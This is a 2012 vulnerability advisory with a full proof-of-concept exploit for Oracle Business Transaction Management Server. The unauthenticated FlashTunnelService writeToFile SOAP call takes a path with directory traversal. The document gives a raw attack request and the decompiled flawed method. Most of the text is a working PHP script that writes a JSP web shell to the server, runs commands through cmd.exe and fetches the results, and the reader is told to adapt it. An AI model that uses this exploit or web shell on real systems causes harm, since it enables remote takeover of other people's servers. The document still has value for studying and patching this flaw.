Oracle Business Transaction Management Server FlashTunnelService WriteToFile Remote Code Execution Exploit

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Subjects of Interest:
Vulnerability Management
SQL Injection
Buffer Overflows
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The mentioned product installs a web service called "FlashTunnelService" which can be reached without prior authentication and processes incoming SOAP requests.

Credit:
The information has been provided by rgod.

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Vulnerable Systems:
* Oracle Business Transaction Management Server 12.1.0.2.7

POST /btmui/soa/flash_svc/ HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: "http://soa.amberpoint.com/writeToFile"
User-Agent: Jakarta Commons-HttpClient/3.1
Host: 192.168.0.1:7001
Content-Length: [length]

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:int="http://schemas.amberpoint.com/flashtunnel/interfaces" xmlns:typ="http://schemas.amberpoint.com/flashtunnel/types">
<soapenv:Header/>
<soapenv:Body>
<int:writeToFileRequest>
<int:writeToFile handle="..\..\..\..\..\..\..\..\[path]\somefile.jsp">

<typ:text>[code]</typ:text>

<typ:WriteToFileRequestVersion>

</typ:WriteToFileRequestVersion>
</int:writeToFile>
</int:writeToFileRequest>
</soapenv:Body>
</soapenv:Envelope>

The 'handle' property can be used to control the location of the newly written file (it suffers of a directory traversal ulnerability). File extension can also be controlled. File content can be controlled through the 'text' element (note that one must convert the code to html entities firstly, the soap interface will reconvert it to his original format).

Given this, a remote attacker, could place an arbitrary jsp script inside the main web server root path, then execute arbitrary code with the privileges of the weblogic installation, usually Administrator privileges). vulnerable code, see the decompiled com.amberpoint.flashtunnel.impl.FlashTunnelServiceImpl.class
...
public IWriteToFileResponse writeToFile(IWriteToFileRequest request)
throws SOAPFaultException
{
WriteToFileResponse wtfr = new WriteToFileResponse();
String handle = request.getHandle();
TypedList text = request.getText();
if(text != null && text.size() > 0)
{
File f = getFileFromHandle(handle);
if(f != null)
try
{
FileOutputStream fos = new FileOutputStream(f);
OutputStreamWriter osw = new OutputStreamWriter(fos, "UTF-8");
int i = 0;
for(int ii = text.size(); i < ii; i++)
{
String s = (String)text.get(i);
osw.write(s);
osw.write("\n");
}

osw.close();
}
catch(IOException ex)
{
logger.log(Level.SEVERE, (new StringBuilder()).append("IOException writing '").append(f.toString()).append("': ").append(ex.getMessage()).toString());
}
}
return wtfr;
}
...

As attachment, proof of concept code written in php, launch from the command line, modify for your own use.

<?php
/*
Oracle Business Transaction Management Server 12.1.0.2.7 FlashTunnelService
WriteToFile Message Remote Code Execution Exploit

tested against: Microsoft Windows Server 2003 r2 sp2
Oracle WebLogic Server 12c (12.1.1)
Oracle Business Transaction Management Server 12.1.0.2.7 (Production version)

Example:
C:\php>php 9sg_ora.php 192.168.2.101 ver
[*] Attacking...
HTTP/1.1 200 OK
Date: Mon, 09 Jul 2012 08:53:11 GMT
Accept-Ranges: bytes
Content-Length: 40
Content-Type: text/plain
Last-Modified: Mon, 09 Jul 2012 08:53:09 GMT
X-Powered-By: Servlet/3.0 JSP/2.2

Microsoft Windows [Version 5.2.3790]

C:\php>php 9sg_ora.php 192.168.2.101 "start calc"

rgod
*/
error_reporting(E_ALL ^ E_NOTICE);
set_time_limit(0);

$err[0] = "[!] This script is intended to be launched from the cli!";
$err[1] = "[!] You need the curl extesion loaded!";

if (php_sapi_name() <> "cli") {
die($err[0]);
}

function syntax() {
print("usage: php 9sg_ora.php [ip_address] [cmd]\r\n" );
die();
}

$argv[2] ? print("[*] Attacking...\n") :
syntax();

if (!extension_loaded('curl')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
false;
if ($win) {
!dl("php_curl.dll") ? die($err[1]) :
print("[*] curl loaded\n");
} else {
!dl("php_curl.so") ? die($err[1]) :
print("[*] curl loaded\n");
}
}

function _s($url, $is_post, $ck, $request) {
global $_use_proxy, $proxy_host, $proxy_port;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
if ($is_post == 1) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
}
if ($is_post == 2) {
curl_setopt($ch, CURLOPT_PUT, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
}

curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
"Content-Type: text/xml;charset=UTF-8",
"SOAPAction: \"http://soa.amberpoint.com/writeToFile\"",

));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Jakarta Commons-HttpClient/3.1");
//curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
//curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 0);

if ($_use_proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
}
$_d = curl_exec($ch);
if (curl_errno($ch)) {
//die("[!] ".curl_error($ch)."\n");
} else {
curl_close($ch);
}
return $_d;
}
$host = $argv[1];
$port = 7001;
$cmd = $argv[2];

$code='<%@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String outstr = "";
try {
Runtime rt = Runtime.getRuntime();
Process p = rt.exec(cmd);
try {
InputStreamReader ise = new InputStreamReader(p.getErrorStream());
BufferedReader bre = new BufferedReader(ise);
InputStreamReader iso = new InputStreamReader(p.getInputStream());
BufferedReader bro = new BufferedReader(iso);
String line=null;
while ( (line = bre.readLine()) != null ) {
System.out.println( line );
}
while ( (line = bro.readLine()) != null ) {
System.out.println(line );
}

} catch (IOException ioe)
{
ioe.printStackTrace();
}
}
catch (Throwable t) {
t.printStackTrace();
}

%>
';
$code=htmlentities($code); //convert all to html entities, then no bad chars

//we should write to:
//C:\Oracle\Middleware\wlserver_12.1\samples\server\examples\build\mainWebApp\WEB-INF\classes\mainWebApp#\suntzu.jsp
//C:\Oracle\Middleware\wlserver_12.1\samples\server\examples\build\mainWebApp\suntzu.jsp
//change to a location of choice

$path=array('\server\examples\build\mainWebApp',
'\server\examples\build\mainWebApp\WEB-INF\classes\mainWebApp#');

for ($i=0; $i<count($path); $i++){
$soap='<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:int="http://schemas.amberpoint.com/flashtunnel/interfaces" xmlns:typ="http://schemas.amberpoint.com/flashtunnel/types">
<soapenv:Header/>
<soapenv:Body>
<int:writeToFileRequest>
<int:writeToFile handle="..\..\..\..\..\..\..\..\..\..'.$path[$i].'\suntzu.jsp">
<typ:text>'.$code.'</typ:text>
<typ:WriteToFileRequestVersion>
</typ:WriteToFileRequestVersion>
</int:writeToFile>
</int:writeToFileRequest>
</soapenv:Body>
</soapenv:Envelope>';

$url = "http://$host:$port/btmui/soa/flash_svc/";
$out = _s($url, 1, "", $soap);
//print($out."\n");
sleep(1);
}

$cmd="cmd.exe /c ".$cmd." > ../../server/examples/build/mainWebApp/sh.txt";
$url = "http://$host:$port/suntzu.jsp?cmd=".urlencode($cmd);
$out = _s($url, 0, "", "");
//print($out."\n");

sleep(2);

$url = "http://$host:$port/sh.txt";
$out = _s($url, 0, "", "");
print($out."\n");
?>

Disclosure Timeline:
Published: 2012-08-07

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